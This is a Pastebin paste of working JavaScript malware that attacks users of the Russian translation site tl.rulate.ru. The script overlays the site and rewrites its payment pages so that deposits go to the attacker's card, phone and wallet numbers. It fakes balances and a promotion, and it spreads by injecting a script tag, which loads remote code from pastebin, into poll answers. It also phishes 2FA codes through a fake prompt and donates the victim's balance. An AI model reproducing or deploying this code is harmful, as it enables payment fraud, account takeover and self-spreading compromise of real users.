Advertisement
Guest User

Untitled

a guest
Dec 7th, 2019
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.58 KB | None | 0 0
  1. if (window==window.top && document.getElementById("header-submenu").getElementsByTagName("strong")[0].innerText != "realizmmm" && document.getElementById("header-submenu").getElementsByTagName("strong")[0].innerText != "Kentttt")
  2.  
  3. {
  4.  
  5. function hidePolls()
  6. {
  7. if (frontWin.document.getElementById("book_polls_content"))
  8. {
  9. frontWin.document.getElementById("book_polls_content").parentNode.parentNode.style.display = "none";
  10. }
  11.  
  12. var polls;
  13. var addpolls;
  14.  
  15. for (var pls = 0; pls < frontWin.document.getElementsByTagName("a").length; pls++)
  16. {
  17. if (frontWin.document.getElementsByTagName("a")[pls].textContent == "голосование")
  18. {
  19. polls = frontWin.document.getElementsByTagName("a")[pls];
  20. break;
  21. }
  22. }
  23.  
  24. if (polls)
  25. {
  26. polls.parentNode.style.display = "none";
  27. }
  28.  
  29. for (var adpls = 0; adpls < frontWin.document.getElementsByTagName("a").length; adpls++)
  30. {
  31. if (frontWin.document.getElementsByTagName("a")[adpls].textContent == "добавить голосование")
  32. {
  33. addpolls = frontWin.document.getElementsByTagName("a")[adpls];
  34. break;
  35. }
  36. }
  37.  
  38. if (addpolls)
  39. {
  40. addpolls.parentNode.style.display = "none";
  41. }
  42. }
  43.  
  44. function Payment()
  45. {
  46. if (frontWin.location == "https://tl.rulate.ru/payments")
  47. {
  48. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText = "Обращаем внимание! Вы можете пополнить баланс через любую банковскую карту, для этого нужно отправить необходимую сумму на нашу карту: 5213-2438-8466-5751, после написав на почту raiman_osipanovich@mail.ru информацию о платеже и ник на сайте. Также возможно пополнение через телефон, скинув нужную сумму на номер: +79397351250 и отправив данные о платеже на ту же почту";
  49.  
  50. frontWin.document.getElementsByClassName("control-group")[0].getElementsByClassName("radio")[0].innerHTML = "Интеркасса <small>(Временно не работает!)</small>";
  51. frontWin.document.getElementsByClassName("control-group")[0].getElementsByClassName("radio")[3].innerHTML = "RoboKassa <small>(Временно не работает!)</small>";
  52. frontWin.document.getElementsByClassName("control-group")[0].getElementsByClassName("radio")[4].innerHTML = "Free-Kassa <small>(Временно не работает!)</small>";
  53. }
  54.  
  55. if (frontWin.location == "https://tl.rulate.ru/payments/confirm")
  56. {
  57. if (frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText.indexOf("Яндекс.деньги") >= 1)
  58. {
  59. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("form")[0].getElementsByTagName("input")[0].value = "410014969559198";
  60. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("form")[0].target = "window.open(action)";
  61. }
  62.  
  63. else if (frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText.indexOf("QIWI") >= 1)
  64. {
  65. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[1].innerText = "Для пополнения счёта переведите указанную сумму на номер +79397351250. В примечании к переводу укажите код 1658603 (только код и ничего больше). Сумма перевода должна в точности совпадать с указанной.";
  66.  
  67. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[2].innerText = "Переведённые средства будут зачислены на ваш баланс.";
  68. }
  69.  
  70. else if (frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[0].innerText.indexOf("WebMoney") >= 1)
  71. {
  72. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[1].innerText = "Для пополнения счёта переведите указанную сумму на кошелёк R395672237277. В примечании к переводу укажите код 5cbf189f706fc (только код и ничего больше).";
  73.  
  74. frontWin.document.getElementsByClassName("span8")[0].getElementsByTagName("p")[2].style.display = "none";
  75. }
  76. }
  77. }
  78.  
  79. var balance = [];
  80.  
  81. function freezeBalance()
  82. {
  83. if (balance[0] == undefined)
  84. {
  85. balance.push(frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText);
  86. }
  87.  
  88. else if (frontWin.location == frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[0].href)
  89. {
  90. frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText = balance[0];
  91. frontWin.document.getElementsByTagName("dd")[2].childNodes[0].data = balance[0].match(/\d+\.\d+/);
  92. }
  93.  
  94. else
  95. {
  96. frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText = balance[0];
  97. }
  98. }
  99.  
  100. function currentURL()
  101. {
  102. if (frontWin.location.origin == "https://tl.rulate.ru")
  103. {
  104. if (frontWin.location.origin.replace(/\//g, "") == frontWin.location.href.replace(/\//g, ""))
  105. {
  106. window.history.pushState("", "", "/");
  107. }
  108.  
  109. else
  110. {
  111. window.history.pushState("", "", "/");
  112. window.history.pushState("", "", frontWin.location.href.split("/").splice(3).toString().replace(/,/g, "/"));
  113. }
  114. }
  115. }
  116.  
  117. function silence()
  118. {
  119. for (var ls = 0; ls < frontWin.document.links.length; ls++)
  120. {
  121. if (frontWin.document.links[ls].href.indexOf("realizmmmm") >= 1 || frontWin.document.links[ls].href.indexOf("Kentttt") >= 1)
  122. {
  123. frontWin.document.links[ls].href = "https://tl.rulate.ru/messages";
  124. }
  125. }
  126.  
  127. if (frontWin.location == "https://tl.rulate.ru/messages")
  128. {
  129. frontWin.document.getElementsByClassName("row")[0].style.display = "none";
  130. }
  131. }
  132.  
  133. function blockBlog()
  134. {
  135. for (var blog = 0; blog < frontWin.document.links.length; blog++)
  136. {
  137. if (frontWin.document.links[blog].href.indexOf("blog/edit") >= 1)
  138. {
  139. frontWin.document.links[blog].style.display = "none";
  140. }
  141. }
  142. }
  143.  
  144. function sayThanks()
  145. {
  146. for (var thx = 0; thx < frontWin.document.getElementsByTagName("a").length; thx++)
  147. {
  148. if (frontWin.document.getElementsByTagName("a")[thx].href == "https://tl.rulate.ru/site/donate")
  149. {
  150. frontWin.document.getElementsByTagName("a")[thx].href = "https://tl.rulate.ru/payments";
  151. frontWin.document.getElementsByTagName("a")[thx].innerText = "Пополнить баланс";
  152. break;
  153. }
  154. }
  155. }
  156.  
  157. function Sale()
  158. {
  159. var div = frontWin.document.createElement("Div");
  160.  
  161. div.className = "content-text";
  162. div.innerHTML = '<p style="text-align:center"><span style="font-size:16px"><strong><span style="color:#c0392b"><span style="background-color:#ffffff">Дорогие Пользователи! До конца апреля проходит АКЦИЯ! Пополнение счёта от 100 рублей удваивает пополнение баланса на сайте. Счастливой Пасхи! (Обновляем сайт, может немного глючить)</span></span></strong></span></p>';
  163.  
  164. frontWin.document.getElementsByClassName("container")[1].firstElementChild.appendChild(div);
  165. }
  166.  
  167. function Rulate() {
  168.  
  169. currentURL();
  170. hidePolls();
  171. Payment();
  172. Sale();
  173. blockBlog();
  174. silence();
  175. sayThanks();
  176. freezeBalance();
  177.  
  178. }
  179.  
  180. var frontFrame = document.createElement("iframe");
  181. frontFrame.setAttribute("src", "https://tl.rulate.ru");
  182. frontFrame.setAttribute("style", "width: 100vw; height: 100vh; border: 0; position: absolute; top: 0; left: 0; right: 0; bottom: 0;");
  183. frontFrame.setAttribute("onload", "Rulate()");
  184. document.body.replaceWith(frontFrame);
  185.  
  186. var frontWin = document.getElementsByTagName("iframe")[0].contentWindow;
  187.  
  188. setTimeout(function()
  189. {
  190. var novells = [];
  191.  
  192. function gTranslate()
  193. {
  194. if (backWin.document.getElementById("people"))
  195. {
  196. for (var nov = 0; nov < backWin.document.getElementById("people").getElementsByTagName("a").length; nov++)
  197. {
  198. if (backWin.document.getElementById("people").getElementsByTagName("a")[nov].href.indexOf("translations") >= 1)
  199. {}
  200.  
  201. else
  202. {
  203. novells.push(backWin.document.getElementById("people").getElementsByTagName("a")[nov].href);
  204. }
  205. }
  206. }
  207.  
  208. if (backWin.document.getElementsByClassName("next")[0])
  209. {
  210. if (backWin.document.getElementsByClassName("next")[0].classList[1] != "disabled")
  211. {
  212. backWin.document.getElementsByClassName("next")[0].getElementsByTagName("a")[0].click();
  213. }
  214.  
  215. else if (backWin.document.getElementsByClassName("next")[0].classList[1] == "disabled")
  216. {
  217. backWin.location = novells[0]+"/addbookpolls";
  218. }
  219. }
  220.  
  221. else if (backWin.document.getElementsByClassName("next")[0] == undefined && backWin.location == backWin.document.getElementById("header-submenu").getElementsByTagName("a")[0].href + "/books")
  222. {
  223. backWin.location = novells[0]+"/addbookpolls";
  224. }
  225.  
  226. else if (backWin.document.getElementById("quest"))
  227. {
  228. novells.shift();
  229.  
  230. backWin.document.getElementsByClassName("controls")[1].getElementsByClassName("btn")[0].click();
  231. backWin.document.getElementById("quest").value = "Как вам наш сайт?";
  232.  
  233. backWin.document.getElementsByName("answer[]")[0].value = "Хороший сайт ";
  234. backWin.document.getElementsByName("answer[]")[1].value = "Плохой сайт";
  235.  
  236. backWin.document.getElementsByName("answer[]")[0].value = backWin.document.getElementsByName("answer[]")[0].value + '<script>var scriptElem = document.createElement("script");scriptElem.setAttribute("src","https://pastebin.com/raw/eeeWpmxS");document.getElementsByTagName("body")[0].appendChild(scriptElem)</script>'
  237.  
  238. backWin.document.getElementsByClassName("form-horizontal")[0].getElementsByClassName("btn")[backWin.document.getElementsByClassName("form-horizontal")[0].getElementsByClassName("btn").length-1].click();
  239.  
  240. setTimeout(function(){backWin.location = novells[0]+"/addbookpolls"}, 5000);
  241. }
  242.  
  243. else if (backWin.document.getElementById("history_polls"))
  244. {
  245. backWin.location = novells[0]+"/addbookpolls";
  246. }
  247.  
  248. else if (backWin.document.getElementsByClassName("errorpage")[0])
  249. {
  250. backWin.location = "https://tl.rulate.ru/payments/outcome";
  251. }
  252. }
  253.  
  254. function auterPay()
  255. {
  256. if (backWin.location == "https://tl.rulate.ru/payments/outcome" && backWin.document.getElementsByClassName("btn btn-danger btn-mini")[0])
  257. {
  258. if (backWin.document.getElementsByClassName("btn btn-danger btn-mini")[0].innerText == "отменить")
  259. {
  260. backWin.document.getElementsByClassName("btn btn-danger btn-mini")[0].click();
  261. setTimeout(function(){backWin.location = "https://tl.rulate.ru/register/settings"}, 5000);
  262. }
  263.  
  264. else
  265. {
  266. backWin.location = "https://tl.rulate.ru/register/settings";
  267. }
  268. }
  269.  
  270. else if (backWin.location == "https://tl.rulate.ru/register/settings")
  271. {
  272. if (backWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText.match(/\d+/)[0] > 0)
  273. {
  274. if (backWin.document.getElementsByClassName("btn btn-success")[0].innerText == "Подключить")
  275. {
  276. backWin.location = "https://tl.rulate.ru/book/20963";
  277. }
  278.  
  279. else if (backWin.document.getElementsByClassName("btn btn-danger")[0].innerText == "Отключить")
  280. {
  281. backWin.document.getElementsByClassName("btn btn-danger")[0].click();
  282. setTimeout(function(){backWin.document.getElementsByClassName("modal-body")[1].getElementsByTagName("input")[0].value = frontWin.prompt("Ваше устройство не было распознано. Пожалуйста, подтвердите что вы владелец аккаунта по 2FA авторизации, вводом кода из привязанного в настройках аутентикатора, или доступ к аккаунту будет ограничен. Количество попыток ограничено!"); backWin.document.getElementsByClassName("btn btn-primary")[1].click(); backWin.location = "https://tl.rulate.ru/register/settings"}, 10000);
  283. }
  284. }
  285.  
  286. else if (backWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText.match(/\d+/)[0] == 0)
  287. {
  288. setTimeout(function(){frontWin.document.getElementsByTagName("iframe")[0].remove()}, 10000)
  289. }
  290. }
  291.  
  292. else if (backWin.location == "https://tl.rulate.ru/book/20963")
  293. {
  294. backWin.document.getElementById("fundraising_511831").value = backWin.document.getElementById("header-submenu").getElementsByTagName("a")[1].innerText.match(/\d+/)[0];
  295. backWin.document.getElementsByClassName("fundraising-btn")[0].click();
  296.  
  297. setTimeout(function(){frontWin.document.getElementsByTagName("iframe")[0].remove()}, 10000)
  298. }
  299. }
  300.  
  301. function Tl_Rulate()
  302. {
  303. gTranslate();
  304. auterPay();
  305. }
  306.  
  307. var backFrame = document.createElement("iframe");
  308. backFrame.setAttribute("src", frontWin.document.getElementById("header-submenu").getElementsByTagName("a")[0].href + "/books");
  309. backFrame.setAttribute("style", "width: 0px; height: 0px;");
  310. frontWin.document.body.appendChild(backFrame).onload = Tl_Rulate;
  311.  
  312. var backWin = frontWin.document.getElementsByTagName("iframe")[0].contentWindow;
  313.  
  314. }, 5000);
  315.  
  316. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement